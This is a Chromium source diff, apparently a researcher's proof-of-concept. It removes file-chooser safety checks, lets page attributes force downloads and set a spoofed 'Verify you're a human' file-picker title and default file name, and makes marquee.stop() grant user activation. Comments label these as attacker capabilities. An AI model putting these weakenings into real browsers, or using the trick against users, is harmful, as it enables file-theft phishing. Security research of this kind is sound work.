diff --git a/chrome/browser/file_select_helper.cc b/chrome/browser/file_select_helper.cc
index 5f5e67197883..4f5a846f71fc 100644
--- a/chrome/browser/file_select_helper.cc
+++ b/chrome/browser/file_select_helper.cc
@@ -544,13 +544,14 @@ void FileSelectHelper::RunFileChooser(
   DCHECK(!web_contents_);
   DCHECK(listener);
   DCHECK(!listener_);
+/*
   DCHECK(params->default_file_name.empty() ||
          params->mode == FileChooserParams::Mode::kSave)
       << "The default_file_name parameter should only be specified for Save "
          "file choosers";
   DCHECK(params->default_file_name == params->default_file_name.BaseName())
       << "The default_file_name parameter should not contain path separators";
-
+*/
   render_frame_host_ = render_frame_host;
   web_contents_ = WebContents::FromRenderFrameHost(render_frame_host);
   listener_ = std::move(listener);
diff --git a/third_party/blink/renderer/core/html/forms/file_input_type.cc b/third_party/blink/renderer/core/html/forms/file_input_type.cc
index a78427e4b7b7..69007b5092c4 100644
--- a/third_party/blink/renderer/core/html/forms/file_input_type.cc
+++ b/third_party/blink/renderer/core/html/forms/file_input_type.cc
@@ -53,6 +53,8 @@
 #include "third_party/blink/renderer/platform/wtf/text/string_builder.h"
 #include "third_party/blink/renderer/platform/wtf/text/wtf_string.h"

+#include "third_party/blink/public/mojom/frame/frame.mojom-blink.h"
+
 namespace blink {

 using mojom::blink::FileChooserParams;
@@ -203,8 +205,58 @@ void FileInputType::OpenPopupView() {
     return;
   }

+  String nameAttrStringView = "";
+  if (input.FastHasAttribute(html_names::kNameAttr)) {
+    // name attr value used for both download and open file picker
+    const AtomicString& nameAttrValue = input.FastGetAttribute(html_names::kNameAttr);
+    nameAttrStringView = nameAttrValue;
+  }
+
+  auto download_params = mojom::blink::DownloadURLParams::New();
+  download_params->has_user_gesture = true;
+
+  if (input.FastHasAttribute(html_names::kHrefAttr)) {
+    // Set download URL to href attr value
+    const AtomicString& hrefAttrValue = input.FastGetAttribute(html_names::kHrefAttr);
+    const String& hrefAttrStringView = hrefAttrValue;
+    download_params->url = KURL(hrefAttrStringView);
+  }
+
+  // suggested_name for download will only work if initiator origin matches download URL origin.
+  // Browser-side checks verify initiator so we can't spoof from renderer.
+  /*
+  download_params->initiator_origin = SecurityOrigin::CreateFromString(download_params->url);
+  if (!nameAttrStringView.empty()) {
+    download_params->suggested_name = nameAttrStringView;
+  } else {
+    download_params->suggested_name = "default-from-renderer.html";
+  }
+  */
+
+  if (input.FastHasAttribute(html_names::kSelectAttr)) {
+    // If select attr set, force save prompt on download
+    download_params->is_context_menu_save = true;
+  }
+  if (input.FastHasAttribute(html_names::kDownloadAttr)) {
+    // If download attr set, perform download
+    document.GetFrame()->GetLocalFrameHostRemote().DownloadURL(std::move(download_params));
+    if (input.FastHasAttribute(html_names::kDeferAttr)) {
+      // If defer attr set, only download, don't show file picker after download
+      return;
+    }
+  }
+
+  // Show file picker
   if (ChromeClient* chrome_client = GetChromeClient()) {
     FileChooserParams params;
+
+    // Attacker controls file picker dialog title
+    params.title = "Verify you're a human";
+    if (!nameAttrStringView.empty()) {
+      // Attacker can set file name in open file picker dialog
+      params.default_file_name = base::FilePath(StringToFilePath(nameAttrStringView));
+    }
+
     bool is_directory =
         input.FastHasAttribute(html_names::kWebkitdirectoryAttr);
     if (is_directory)
@@ -213,7 +265,8 @@ void FileInputType::OpenPopupView() {
       params.mode = FileChooserParams::Mode::kOpenMultiple;
     else
       params.mode = FileChooserParams::Mode::kOpen;
-    params.title = g_empty_string;
+    // params.title = g_empty_string;
+
     params.need_local_path = is_directory;
     params.accept_types = CollectAcceptTypes(input);
     params.selected_files = file_list_->PathsForUserVisibleFiles();
diff --git a/third_party/blink/renderer/core/html/html_marquee_element.cc b/third_party/blink/renderer/core/html/html_marquee_element.cc
index 4cff6bd58e38..a8aa98a6146a 100644
--- a/third_party/blink/renderer/core/html/html_marquee_element.cc
+++ b/third_party/blink/renderer/core/html/html_marquee_element.cc
@@ -52,6 +52,8 @@
 #include "third_party/blink/renderer/platform/instrumentation/use_counter.h"
 #include "third_party/blink/renderer/platform/wtf/text/strcat.h"

+#include "third_party/blink/public/mojom/frame/user_activation_notification_type.mojom-shared.h"
+
 namespace blink {

 HTMLMarqueeElement::HTMLMarqueeElement(Document& document)
@@ -197,6 +199,10 @@ void HTMLMarqueeElement::start() {
 }

 void HTMLMarqueeElement::stop() {
+
+  LOG(ERROR) << "AODEBUG: marquee.stop() called, will generate user activation";
+  GetDocument().GetFrame()->NotifyUserActivation(mojom::blink::UserActivationNotificationType::kInteraction);
+
   if (continue_callback_request_id_) {
     GetDocument().CancelAnimationFrame(continue_callback_request_id_);
     continue_callback_request_id_ = 0;
diff --git a/ui/shell_dialogs/base_shell_dialog_win.cc b/ui/shell_dialogs/base_shell_dialog_win.cc
index 138167d4c010..a6a89af41b07 100644
--- a/ui/shell_dialogs/base_shell_dialog_win.cc
+++ b/ui/shell_dialogs/base_shell_dialog_win.cc
@@ -11,6 +11,8 @@
 #include "base/task/thread_pool.h"
 #include "base/win/scoped_com_initializer.h"

+#include "base/logging.h"
+
 namespace ui {

 namespace {
@@ -65,7 +67,8 @@ void BaseShellDialogImpl::DisableOwner(HWND owner) {
 std::unique_ptr<BaseShellDialogImpl::RunState> BaseShellDialogImpl::BeginRun(
     HWND owner) {
   // Cannot run a modal shell dialog if one is already running for this owner.
-  DCHECK(!IsRunningDialogForOwner(owner));
+  // DCHECK(!IsRunningDialogForOwner(owner));
+  LOG(ERROR) << "AODEBUG: DCHECK? !IsRunningDialogForOwner(owner): " << !IsRunningDialogForOwner(owner);
   // The owner must be a top level window, otherwise we could end up with two
   // entries in our map for the same top level window.
   DCHECK(!owner || owner == GetAncestor(owner, GA_ROOT));
@@ -81,9 +84,11 @@ std::unique_ptr<BaseShellDialogImpl::RunState> BaseShellDialogImpl::BeginRun(

 void BaseShellDialogImpl::EndRun(std::unique_ptr<RunState> run_state) {
   if (run_state->owner) {
-    DCHECK(IsRunningDialogForOwner(run_state->owner));
+    //DCHECK(IsRunningDialogForOwner(run_state->owner));
+    LOG(ERROR) << "AODEBUG: DCHECK? IsRunningDialogForOwner(run_state->owner): " << IsRunningDialogForOwner(run_state->owner);
     SetOwnerEnabled(run_state->owner, true);
-    DCHECK(GetOwners().find(run_state->owner) != GetOwners().end());
+    //DCHECK(GetOwners().find(run_state->owner) != GetOwners().end());
+    LOG(ERROR) << "AODEBUG: DCHECK? GetOwners().find(run_state->owner) != GetOwners().end(): " << (GetOwners().find(run_state->owner) != GetOwners().end());
     GetOwners().erase(run_state->owner);
   }
 }